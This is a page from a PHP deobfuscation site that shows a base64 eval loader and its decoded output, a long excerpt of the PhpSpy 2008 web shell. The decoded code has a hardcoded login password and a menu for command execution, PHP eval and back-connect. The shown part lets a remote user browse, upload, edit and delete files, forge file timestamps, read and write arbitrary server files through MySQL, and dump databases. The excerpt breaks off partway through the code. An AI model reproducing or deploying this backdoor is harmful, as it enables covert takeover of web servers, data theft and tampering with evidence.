Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval('?>'.base64_decode('PD9waHANCg0KLyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKio..

Decoded Output download

?>b'<?php

/*****************************************************************************

===================== &#286;&#350;====================



&#286;&#286;&#305;Sniper\SuperHei\kEvin1986\saiy\wofeiwo

&#286;&#286;&#286;&#286;&#286;&#286;

17

======================  =======================

Codz by angel(4ngel)

Make in China

Web: http://www.4ngel.net

*****************************************************************************/

error_reporting(7);
@set_magic_quotes_runtime(0);
ob_start();
$mtime = explode(\' \', microtime());
$starttime = $mtime[1] + $mtime[0];
define(\'SA_ROOT\', str_replace(\'\\\', \'/\', dirname(__FILE__)).\'/\');
//define(\'IS_WIN\', strstr(PHP_OS, \'WIN\') ? 1 : 0 );
define(\'IS_WIN\', DIRECTORY_SEPARATOR == \'\\\');
define(\'IS_COM\', class_exists(\'COM\') ? 1 : 0 );
define(\'IS_GPC\', get_magic_quotes_gpc());
$dis_func = get_cfg_var(\'disable_functions\');
define(\'IS_PHPINFO\', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );
@set_time_limit(0);

foreach(array(\'_GET\',\'_POST\') as $_request) {
	foreach($$_request as $_key => $_value) {
		if ($_key{0} != \'_\') {
			if (IS_GPC) {
				$_value = s_array($_value);
			}
			$$_key = $_value;
		}
	}
}

/*===================== &#286; =====================*/
$admin = array();
// &#286;, true &#286;, false .&#350;&#286;
$admin[\'check\'] = true;
// &#286;,&#286;&#350;
$admin[\'pass\']  = \'last\';

// cookie &#286;, &#305;, &#286;&#350;, 
// cookie 
$admin[\'cookiepre\'] = \'\';
// cookie 
$admin[\'cookiedomain\'] = \'\';
// cookie 
$admin[\'cookiepath\'] = \'/\';
// cookie &#286;&#286;
$admin[\'cookielife\'] = 86400;
/*=====================  =====================*/

if ($charset == \'utf8\') {
	header("content-Type: text/html; charset=utf-8");
} elseif ($charset == \'big5\') {
	header("content-Type: text/html; charset=big5");
} elseif ($charset == \'gbk\') {
	header("content-Type: text/html; charset=gbk");
} elseif ($charset == \'latin1\') {
	header("content-Type: text/html; charset=iso-8859-2");
}

$self = $_SERVER[\'PHP_SELF\'] ? $_SERVER[\'PHP_SELF\'] : $_SERVER[\'SCRIPT_NAME\'];
$timestamp = time();

/*===================== &#304; =====================*/
if ($action == "logout") {
	scookie(\'phpspypass\', \'\', -86400 * 365);
	p(\'<meta http-equiv="refresh" content="1;URL=\'.$self.\'">\');
	p(\'<a style="font:12px Verdana" href="\'.$self.\'">Success</a>\');
	exit;
}
if($admin[\'check\']) {
	if ($doing == \'login\') {
		if ($admin[\'pass\'] == $password) {
			scookie(\'phpspypass\', $password);
			p(\'<meta http-equiv="refresh" content="1;URL=\'.$self.\'">\');
			p(\'<a style="font:12px Verdana" href="\'.$self.\'">Success</a>\');
			exit;
		}
	}
	if ($_COOKIE[\'phpspypass\']) {
		if ($_COOKIE[\'phpspypass\'] != $admin[\'pass\']) {
			loginpage();
		}
	} else {
		loginpage();
	}
}
/*=====================  =====================*/

$errmsg = \'\';

// PHPINFO
if ($action == \'phpinfo\') {
	if (IS_PHPINFO) {
		phpinfo();
	} else {
		$errmsg = \'phpinfo() function has non-permissible\';
	}
}

// &#351;
if ($doing == \'downfile\' && $thefile) {
	if (!@file_exists($thefile)) {
		$errmsg = \'The file you want Downloadable was nonexistent\';
	} else {
		$fileinfo = pathinfo($thefile);
		header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
		header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
		header(\'Content-Length: \'.filesize($thefile));
		@readfile($thefile);
		exit;
	}
}

// &#304;&#305;&#304;
if ($doing == \'backupmysql\' && !$saveasfile) {
	dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
	$table = array_flip($table);
	$result = q("SHOW tables");
	if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
	$filename = basename($_SERVER[\'HTTP_HOST\'].\'_MySQL.sql\');
	header(\'Content-type: application/unknown\');
	header(\'Content-Disposition: attachment; filename=\'.$filename);
	$mysqldata = \'\';
	while ($currow = mysql_fetch_array($result)) {
		if (isset($table[$currow[0]])) {
			$mysqldata .= sqldumptable($currow[0]);
		}
	}
	mysql_close();
	exit;
}

// &#305;MYSQL&#351;
if($doing==\'mysqldown\'){
	if (!$dbname) {
		$errmsg = \'Please input dbname\';
	} else {
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
		if (!file_exists($mysqldlfile)) {
			$errmsg = \'The file you want Downloadable was nonexistent\';
		} else {
			$result = q("select load_file(\'$mysqldlfile\');");
			if(!$result){
				q("DROP TABLE IF EXISTS tmp_angel;");
				q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
				//,__angel_1111111111_eof__&#351;
				q("LOAD DATA LOCAL INFILE \'".addslashes($mysqldlfile)."\' INTO TABLE tmp_angel FIELDS TERMINATED BY \'__angel_{$timestamp}_eof__\' ESCAPED BY \'\' LINES TERMINATED BY \'__angel_{$timestamp}_eof__\';");
				$result = q("select content from tmp_angel");
				q("DROP TABLE tmp_angel");
			}
			$row = @mysql_fetch_array($result);
			if (!$row) {
				$errmsg = \'Load file failed \'.mysql_error();
			} else {
				$fileinfo = pathinfo($mysqldlfile);
				header(\'Content-type: application/x-\'.$fileinfo[\'extension\']);
				header(\'Content-Disposition: attachment; filename=\'.$fileinfo[\'basename\']);
				header("Accept-Length: ".strlen($row[0]));
				echo $row[0];
				exit;
			}
		}
	}
}

?>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gbk">
<title><?php echo str_replace(\'.\',\'\',\'P.h.p.S.p.y\');?></title>
<style type="text/css">
body,td{font: 12px Arial,Tahoma;line-height: 16px;}
.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}
.area{font:12px \'Courier New\', Monospace;background:#fff;border: 1px solid #666;padding:2px;}
.bt {border-color:#b0b0b0;background:#3d3d3d;color:#ffffff;font:12px Arial,Tahoma;height:22px;}
a {color: #00f;text-decoration:underline;}
a:hover{color: #f00;text-decoration:none;}
.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 10px 5px 5px;}
.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 10px 5px 5px;}
.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 10px 5px 5px;}
.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 10px 5px 5px;font-weight:bold;}
.head td span{font-weight:normal;}
form{margin:0;padding:0;}
h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}
ul.info li{margin:0;color:#444;line-height:24px;height:24px;}
u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}
</style>
<script type="text/javascript">
function CheckAll(form) {
	for(var i=0;i<form.elements.length;i++) {
		var e = form.elements[i];
		if (e.name != \'chkall\')
		e.checked = form.chkall.checked;
    }
}
function $(id) {
	return document.getElementById(id);
}
function goaction(act){
	$(\'goaction\').action.value=act;
	$(\'goaction\').submit();
}
</script>
</head>
<body style="margin:0;table-layout:fixed; word-break:break-all">
<table width="100%" border="0" cellpadding="0" cellspacing="0">
	<tr class="head">
		<td><span style="float:right;"><a href="http://www.4ngel.net" target="_blank"><?php echo str_replace(\'.\',\'\',\'P.h.p.S.p.y\');?> Ver: 2008</a></span><?php echo $_SERVER[\'HTTP_HOST\'];?> (<?php echo gethostbyname($_SERVER[\'SERVER_NAME\']);?>)</td>
	</tr>
	<tr class="alt1">
		<td><span style="float:right;">Safe Mode:<?php echo getcfg(\'safe_mode\');?></span>
			<a href="javascript:goaction(\'logout\');">Logout</a> | 
			<a href="javascript:goaction(\'file\');">File Manager</a> | 
			<a href="javascript:goaction(\'sqladmin\');">MySQL Manager</a> | 
			<a href="javascript:goaction(\'sqlfile\');">MySQL Upload &amp; Download</a> | 
			<a href="javascript:goaction(\'shell\');">Execute Command</a> | 
			<a href="javascript:goaction(\'phpenv\');">PHP Variable</a> | 
			<a href="javascript:goaction(\'eval\');">Eval PHP Code</a>
			<?php if (!IS_WIN) {?> | <a href="javascript:goaction(\'backconnect\');">Back Connect</a><?php }?>
		</td>
	</tr>
</table>
<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>
<?php

formhead(array(\'name\'=>\'goaction\'));
makehide(\'action\');
formfoot();

$errmsg && m($errmsg);

// 
!$dir && $dir = \'.\';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != \'/\') {
	$dir = $dir.\'/\';
}
$uedir = ue($dir);

if (!$action || $action == \'file\') {

	// &#286;&#286;
	$dir_writeable = @is_writable($nowpath) ? \'Writable\' : \'Non-writable\';

	// &#305;
	if ($doing == \'deldir\' && $thefile) {
		if (!file_exists($thefile)) {
			m($thefile.\' directory does not exist\');
		} else {
			m(\'Directory delete \'.(deltree($thefile) ? basename($thefile).\' success\' : \'failed\'));
		}
	}

	// 
	elseif ($newdirname) {
		$mkdirs = $nowpath.$newdirname;
		if (file_exists($mkdirs)) {
			m(\'Directory has already existed\');
		} else {
			m(\'Directory created \'.(@mkdir($mkdirs,0777) ? \'success\' : \'failed\'));
			@chmod($mkdirs,0777);
		}
	}

	// &#351;
	elseif ($doupfile) {
		m(\'File upload \'.(@copy($_FILES[\'uploadfile\'][\'tmp_name\'],$uploaddir.\'/\'.$_FILES[\'uploadfile\'][\'name\']) ? \'success\' : \'failed\'));
	}

	// &#351;
	elseif ($editfilename && $filecontent) {
		$fp = @fopen($editfilename,\'w\');
		m(\'Save file \'.(@fwrite($fp,$filecontent) ? \'success\' : \'failed\'));
		@fclose($fp);
	}

	// &#351;&#286;
	elseif ($pfile && $newperm) {
		if (!file_exists($pfile)) {
			m(\'The original file does not exist\');
		} else {
			$newperm = base_convert($newperm,8,10);
			m(\'Modify file attributes \'.(@chmod($pfile,$newperm) ? \'success\' : \'failed\'));
		}
	}

	// 
	elseif ($oldname && $newfilename) {
		$nname = $nowpath.$newfilename;
		if (file_exists($nname) || !file_exists($oldname)) {
			m($nname.\' has already existed or original file does not exist\');
		} else {
			m(basename($oldname).\' renamed \'.basename($nname).(@rename($oldname,$nname) ? \' success\' : \'failed\'));
		}
	}

	// &#351;
	elseif ($sname && $tofile) {
		if (file_exists($tofile) || !file_exists($sname)) {
			m(\'The goal file has already existed or original file does not exist\');
		} else {
			m(basename($tofile).\' copied \'.(@copy($sname,$tofile) ? basename($tofile).\' success\' : \'failed\'));
		}
	}

	// 
	elseif ($curfile && $tarfile) {
		if (!@file_exists($curfile) || !@file_exists($tarfile)) {
			m(\'The goal file has already existed or original file does not exist\');
		} else {
			$time = @filemtime($tarfile);
			m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
		}
	}

	// 
	elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
		if (!@file_exists($curfile)) {
			m(basename($curfile).\' does not exist\');
		} else {
			$time = strtotime("$year-$month-$day $hour:$minute:$second");
			m(\'Modify file the last modified \'.(@touch($curfile,$time,$time) ? \'success\' : \'failed\'));
		}
	}

	// 
	elseif($doing == \'downrar\') {
		if ($dl) {
			$dfiles=\'\';
			foreach ($dl as $filepath => $value) {
				$dfiles.=$filepath.\',\';
			}
			$dfiles=substr($dfiles,0,strlen($dfiles)-1);
			$dl=explode(\',\',$dfiles);
			$zip=new PHPZip($dl);
			$code=$zip->out;
			header(\'Content-type: application/octet-stream\');
			header(\'Accept-Ranges: bytes\');
			header(\'Accept-Length: \'.strlen($code));
			header(\'Content-Disposition: attachment;filename=\'.$_SERVER[\'HTTP_HOST\'].\'_Files.tar.gz\');
			echo $code;
			exit;
		} else {
			m(\'Please select file(s)\');
		}
	}

	// &#305;&#351;
	elseif($doing == \'delfiles\') {
		if ($dl) {
			$dfiles=\'\';
			$succ = $fail = 0;
			foreach ($dl as $filepath => $value) {
				if (@unlink($filepath)) {
					$succ++;
				} else {
					$fail++;
				}
			}
			m(\'Deleted file have finishedchoose \'.count($dl).\' success \'.$succ.\' fail \'.$fail);
		} else {
			m(\'Please select file(s)\');
		}
	}

	//
	formhead(array(\'name\'=>\'createdir\'));
	makehide(\'newdirname\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'fileperm\'));
	makehide(\'newperm\');
	makehide(\'pfile\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'copyfile\'));
	makehide(\'sname\');
	makehide(\'tofile\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'rename\'));
	makehide(\'oldname\');
	makehide(\'newfilename\');
	makehide(\'dir\',$nowpath);
	formfoot();
	formhead(array(\'name\'=>\'fileopform\'));
	makehide(\'action\');
	makehide(\'opfile\');
	makehide(\'dir\');
	formfoot();

	$free = @disk_free_space($nowpath);
	!$free && $free = 0;
	$all = @disk_total_space($nowpath);
	!$all && $all = 0;
	$used = $all-$free;
	$used_percent = @round(100/($all/$free),2);
	p(\'<h2>File Manager - Current disk free \'.sizecount($free).\' of \'.sizecount($all).\' (\'.$used_percent.\'%)</h2>\');

?>
<table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
  <form action="" method="post" id="godir" name="godir">
  <tr>
    <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
	<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>
    <td nowrap><input class="bt" value="GO" type="submit"></td>
  </tr>
  </form>
</table>
<script type="text/javascript">
function createdir(){
	var newdirname;
	newdirname = prompt(\'Please input the directory name:\', \'\');
	if (!newdirname) return;
	$(\'createdir\').newdirname.value=newdirname;
	$(\'createdir\').submit();
}
function fileperm(pfile){
	var newperm;
	newperm = prompt(\'Current file:\'+pfile+\'\nPlease input new attribute:\', \'\');
	if (!newperm) return;
	$(\'fileperm\').newperm.value=newperm;
	$(\'fileperm\').pfile.value=pfile;
	$(\'fileperm\').submit();
}
function copyfile(sname){
	var tofile;
	tofile = prompt(\'Original file:\'+sname+\'\nPlease input object file (fullpath):\', \'\');
	if (!tofile) return;
	$(\'copyfile\').tofile.value=tofile;
	$(\'copyfile\').sname.value=sname;
	$(\'copyfile\').submit();
}
function rename(oldname){
	var newfilename;
	newfilename = prompt(\'Former file name:\'+oldname+\'\nPlease input new filename:\', \'\');
	if (!newfilename) return;
	$(\'rename\').newfilename.value=newfilename;
	$(\'rename\').oldname.value=oldname;
	$(\'rename\').submit();
}
function dofile(doing,thefile,m){
	if (m && !confirm(m)) {
		return;
	}
	$(\'filelist\').doing.value=doing;
	if (thefile){
		$(\'filelist\').thefile.value=thefile;
	}
	$(\'filelist\').submit();
}
function createfile(nowpath){
	var filename;
	filename = prompt(\'Please input the file name:\', \'\');
	if (!filename) return;
	opfile(\'editfile\',nowpath + filename,nowpath);
}
function opfile(action,opfile,dir){
	$(\'fileopform\').action.value=action;
	$(\'fileopform\').opfile.value=opfile;
	$(\'fileopform\').dir.value=dir;
	$(\'fileopform\').submit();
}
function godir(dir,view_writable){
	if (view_writable) {
		$(\'godir\').view_writable.value=1;
	}
	$(\'godir\').dir.value=dir;
	$(\'godir\').submit();
}
</script>
  <?php
	tbhead();
	p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">\');
	p(\'<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="\'.$dir.\'" type="hidden" /><input name="dir" value="\'.$dir.\'" type="hidden" /></div>\');
	p(\'<a href="javascript:godir(\\'\'.$_SERVER["DOCUMENT_ROOT"].\'\\');">WebRoot</a>\');
	if ($view_writable) {
		p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\');">View All</a>\');
	} else {
		p(\' | <a href="javascript:godir(\\'\'.$nowpath.\'\\',\\'1\\');">View Writable</a>\');
	}
	p(\' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\\'\'.$nowpath.\'\\');">Create File</a>\');
	if (IS_WIN && IS_COM) {
		$obj = new COM(\'scripting.filesystemobject\');
		if ($obj && is_object($obj)) {
			$DriveTypeDB = array(0 => \'Unknow\',1 => \'Removable\',2 => \'Fixed\',3 => \'Network\',4 => \'CDRom\',5 => \'RAM Disk\');
			foreach($obj->Drives as $drive) {
				if ($drive->DriveType == 2) {
					p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Size:\'.sizecount($drive->TotalSize).\'&#13;Free:\'.sizecount($drive->FreeSpace).\'&#13;Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
				} else {
					p(\' | <a href="javascript:godir(\\'\'.$drive->Path.\'/\\');" title="Type:\'.$DriveTypeDB[$drive->DriveType].\'">\'.$DriveTypeDB[$drive->DriveType].\'(\'.$drive->Path.\')</a>\');
				}
			}
		}
	}

	p(\'</td></tr></form>\');

	p(\'<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>\');

	//&#286;&#286;&#351;
	$dirdata=array();
	$filedata=array();

	if ($view_writable) {
		$dirdata = GetList($nowpath);
	} else {
		// &#286;
		$dirs=@opendir($dir);
		while ($file=@readdir($dirs)) {
			$filepath=$nowpath.$file;
			if(@is_dir($filepath)){
				$dirdb[\'filename\']=$file;
				$dirdb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
				$dirdb[\'dirchmod\']=getChmod($filepath);
				$dirdb[\'dirperm\']=getPerms($filepath);
				$dirdb[\'fileowner\']=getUser($filepath);
				$dirdb[\'dirlink\']=$nowpath;
				$dirdb[\'server_link\']=$filepath;
				$dirdb[\'client_link\']=ue($filepath);
				$dirdata[]=$dirdb;
			} else {		
				$filedb[\'filename\']=$file;
				$filedb[\'size\']=sizecount(@filesize($filepath));
				$filedb[\'mtime\']=@date(\'Y-m-d H:i:s\',filemtime($filepath));
				$filedb[\'filechmod\']=getChmod($filepath);
				$filedb[\'fileperm\']=getPerms($filepath);
				$filedb[\'fileowner\']=getUser($filepath);
				$filedb[\'dirlink\']=$nowpath;
				$filedb[\'server_link\']=$filepath;
				$filedb[\'client_link\']=ue($filepath);
				$filedata[]=$filedb;
			}
		}// while
		unset($dirdb);
		unset($filedb);
		@closedir($dirs);
	}
	@sort($dirdata);
	@sort($filedata);
	$dir_i = \'0\';
	foreach($dirdata as $key => $dirdb){
		if($dirdb[\'filename\']!=\'..\' && $dirdb[\'filename\']!=\'.\') {
			$thisbg = bg();
			p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
			p(\'<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>\');
			p(\'<td><a href="javascript:godir(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'filename\'].\'</a></td>\');
			p(\'<td nowrap>\'.$dirdb[\'mtime\'].\'</td>\');
			p(\'<td nowrap>--</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirchmod\'].\'</a> / \');
			p(\'<a href="javascript:fileperm(\\'\'.$dirdb[\'server_link\'].\'\\');">\'.$dirdb[\'dirperm\'].\'</a>\'.$dirdb[\'fileowner\'].\'</td>\');
			p(\'<td nowrap><a href="javascript:dofile(\\'deldir\\',\\'\'.$dirdb[\'server_link\'].\'\\',\\'Are you sure will delete \'.$dirdb[\'filename\'].\'? \\n\\nIf non-empty directory, will be delete all the files.\\')">Del</a> | <a href="javascript:rename(\\'\'.$dirdb[\'server_link\'].\'\\');">Rename</a></td>\');
			p(\'</tr>\');
			$dir_i++;
		} else {
			if($dirdb[\'filename\']==\'..\') {
				p(\'<tr class=\'.bg().\'>\');
				p(\'<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\\'\'.getUpPath($nowpath).\'\\');">Parent Directory</a></td>\');
				p(\'</tr>\');
			}
		}
	}

	p(\'<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>\');
	p(\'<form id="filelist" name="filelist" action="\'.$self.\'" method="post">\');
	makehide(\'action\',\'file\');
	makehide(\'thefile\');
	makehide(\'doing\');
	makehide(\'dir\',$nowpath);
	$file_i = \'0\';
	foreach($filedata as $key => $filedb){
		if($filedb[\'filename\']!=\'..\' && $filedb[\'filename\']!=\'.\') {
			$fileurl = str_replace(SA_ROOT,\'\',$filedb[\'server_link\']);
			$thisbg = bg();
			p(\'<tr class="\'.$thisbg.\'" onmouseover="this.className=\\'focus\\';" onmouseout="this.className=\\'\'.$thisbg.\'\\';">\');
			p(\'<td width="2%" nowrap><input type="checkbox" value="1" name="dl[\'.$filedb[\'server_link\'].\']"></td>\');
			p(\'<td><a href="\'.$fileurl.\'" target="_blank">\'.$filedb[\'filename\'].\'</a></td>\');
			p(\'<td nowrap>\'.$filedb[\'mtime\'].\'</td>\');
			p(\'<td nowrap>\'.$filedb[\'size\'].\'</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'filechmod\'].\'</a> / \');
			p(\'<a href="javascript:fileperm(\\'\'.$filedb[\'server_link\'].\'\\');">\'.$filedb[\'fileperm\'].\'</a>\'.$filedb[\'fileowner\'].\'</td>\');
			p(\'<td nowrap>\');
			p(\'<a href="javascript:dofile(\\'downfile\\',\\'\'.$filedb[\'server_link\'].\'\\');">Down</a> | \');
			p(\'<a href="javascript:copyfile(\\'\'.$filedb[\'server_link\'].\'\\');">Copy</a> | \');
			p(\'<a href="javascript:opfile(\\'editfile\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Edit</a> | \');
			p(\'<a href="javascript:rename(\\'\'.$filedb[\'server_link\'].\'\\');">Rename</a> | \');
			p(\'<a href="javascript:opfile(\\'newtime\\',\\'\'.$filedb[\'server_link\'].\'\\',\\'\'.$filedb[\'dirlink\'].\'\\');">Time</a>\');
			p(\'</td></tr>\');
			$file_i++;
		}
	}
	p(\'<tr class="\'.bg().\'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\\'downrar\\');">Packing download selected</a> - <a href="javascript:dofile(\\'delfiles\\');">Delete selected</a></td><td colspan="4" align="right">\'.$dir_i.\' directories / \'.$file_i.\' files</td></tr>\');
	p(\'</form></table>\');
}// end dir

elseif ($action == \'sqlfile\') {
	if($doing=="mysqlupload"){
		$file = $_FILES[\'uploadfile\'];
		$filename = $file[\'tmp_name\'];
		if (file_exists($savepath)) {
			m(\'The goal file has already existed\');
		} else {
			if(!$filename) {
				m(\'Please choose a file\');
			} else {
				$fp=@fopen($filename,\'r\');
				$contents=@fread($fp, filesize($filename));
				@fclose($fp);
				$contents = bin2hex($contents);
				if(!$upname) $upname = $file[\'name\'];
				dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
				$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE \'$savepath\';");
				m($result ? \'Upload success\' : \'Upload has failed: \'.mysql_error());
			}
		}
	}
?>
<script type="text/javascript">
function mysqlfile(doing){
	if(!doing) return;
	$(\'doing\').value=doing;
	$(\'mysqlfile\').dbhost.value=$(\'dbinfo\').dbhost.value;
	$(\'mysqlfile\').dbport.value=$(\'dbinfo\').dbport.value;
	$(\'mysqlfile\').dbuser.value=$(\'dbinfo\').dbuser.value;
	$(\'mysqlfile\').dbpass.value=$(\'dbinfo\').dbpass.value;
	$(\'mysqlfile\').dbname.value=$(\'dbinfo\').dbname.value;
	$(\'mysqlfile\').charset.value=$(\'dbinfo\').charset.value;
	$(\'mysqlfile\').submit();
}
</script>
<?php
	!$dbhost && $dbhost = \'localhost\';
	!$dbuser && $dbuser = \'root\';
	!$dbport && $dbport = \'3306\';
	$charsets = array(\'\'=>\'Default\',\'gbk\'=>\'GBK\', \'big5\'=>\'Big5\', \'utf8\'=>\'UTF-8\', \'latin1\'=>\'Latin1\');
	formhead(array(\'title\'=>\'MYSQL Information\',\'name\'=>\'dbinfo\'));
	makehide(\'action\',\'sqlfile\');
	p(\'<p>\');
	p(\'DBHost:\');
	makeinput(array(\'name\'=>\'dbhost\',\'size\'=>20,\'value\'=>$dbhost));
	p(\':\');
	makeinput(array(\'name\'=>\'dbport\',\'size\'=>4,\'value\'=>$dbport));
	p(\'DBUser:\');
	makeinput(array(\'name\'=>\'dbuser\',\'size\'=>15,\'value\'=>$dbuser));
	p(\'DBPass:\');
	makeinput(array(\'name\'=>\'dbpass\',\'size\'=>15,\'value\'=>$dbpass));
	p(\'DBName:\');
	makeinput(array(\'name\'=>\'dbname\',\'size\'=>15,\'value\'=>$dbname));
	p(\'DBCharset:\');
	makeselect(array(\'name\'=>\'charset\',\'option\'=>$charsets,\'selected\'=>$charset));
	p(\'</p>\');
	formfoot();
	p(\'<form action="\'.$self.\'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">\');
	p(\'<h2>Upload file</h2>\');
	p(\'<p><b>This operation the DB user must has FILE privilege</b></p>\');
	p(\'<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\\'mysqlupload\\');">Upload</a></p>\');
	p(\'<h2>Download file</h2>\');
	p(\'<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\\'mysqldown\\');">Download</a></p>\');
	makehide(\'dbhost\');
	makehide(\'dbport\');
	makehide(\'dbuser\');
	makehide(\'dbpass\');
	makehide(\'dbname\');
	makehide(\'charset\');
	makehide(\'doing\');
	makehide(\'action\',\'sqlfile\');
	p(\'</form>\');
}

elseif ($action == \'sqladmin\') {
	!$dbhost && $dbhost = \'localhost\';
	!$dbuser && $dbuser = \'root\';
	!$dbport && $dbport = \'3306\';
	$dbform = \'<input type="hidden" id="connect" name="connect" value="1" />\';
	if(isset($dbhost)){
		$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";
	}
	if(isset($dbuser)) {
		$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";
	}
	if(isset($dbpass)) {
		$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";
	}
	if(isset($dbport)) {
		$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";
	}
	if(isset($dbname)) {
		$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";
	}
	if(isset($charset)) {
		$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";
	}

	if ($doing == \'backupmysql\' && $saveasfile) {
		if (!$table) {
			m(\'Please choose the table\');
		} else {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			$table = array_flip($table);
			$fp = @fopen($path,\'w\');
			if ($fp) {
				$result = q(\'SHOW tables\');
				if (!$result) p(\'<h2>\'.mysql_error().\'</h2>\');
				$mysqldata = \'\';
				while ($currow = mysql_fetch_array($result)) {
					if (isset($table[$currow[0]])) {
						sqldumptable($currow[0], $fp);
					}
				}
				fclose($fp);
				$fileurl = str_replace(SA_ROOT,\'\',$path);
				m(\'Database has success backup to <a href="\'.$fileurl.\'" target="_blank">\'.$path.\'</a>\');
				mysql_close();
			} else {
				m(\'Backup failed\');
			}
		}
	}
	if ($insert && $insertsql) {
		$keystr = $valstr = $tmp = \'\';
		foreach($insertsql as $key => $val) {
			if ($val) {
				$keystr .= $tmp.$key;
				$valstr .= $tmp."\'".addslashes($val)."\'";
				$tmp = \',\';
			}
		}
		if ($keystr && $valstr) {
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? \'Insert new record of success\' : mysql_error());
		}
	}
	if ($update && $insertsql && $base64) {
		$valstr = $tmp = \'\';
		foreach($insertsql as $key => $val) {
			$valstr .= $tmp.$key."=\'".addslashes($val)."\'";
			$tmp = \',\';
		}
		if ($valstr) {
			$where = base64_decode($base64);
			dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
			m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? \'Record updating\' : mysql_error());
		}
	}
	if ($doing == \'del\' && $base64) {
		$where = base64_decode($base64);
		$delete_sql = "DELETE FROM $tablename WHERE $where";
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		m(q("DELETE FROM $tablename WHERE $where") ? \'Deletion record of success\' : mysql_error());
	}

	if ($tablename && $doing == \'drop\') {
		dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);
		if (q("DROP TABLE $tablename")) {
			m(\'Drop table of success\');
			$tablename = \'\';
		} else {
			m(mysql_error());
		}
	}

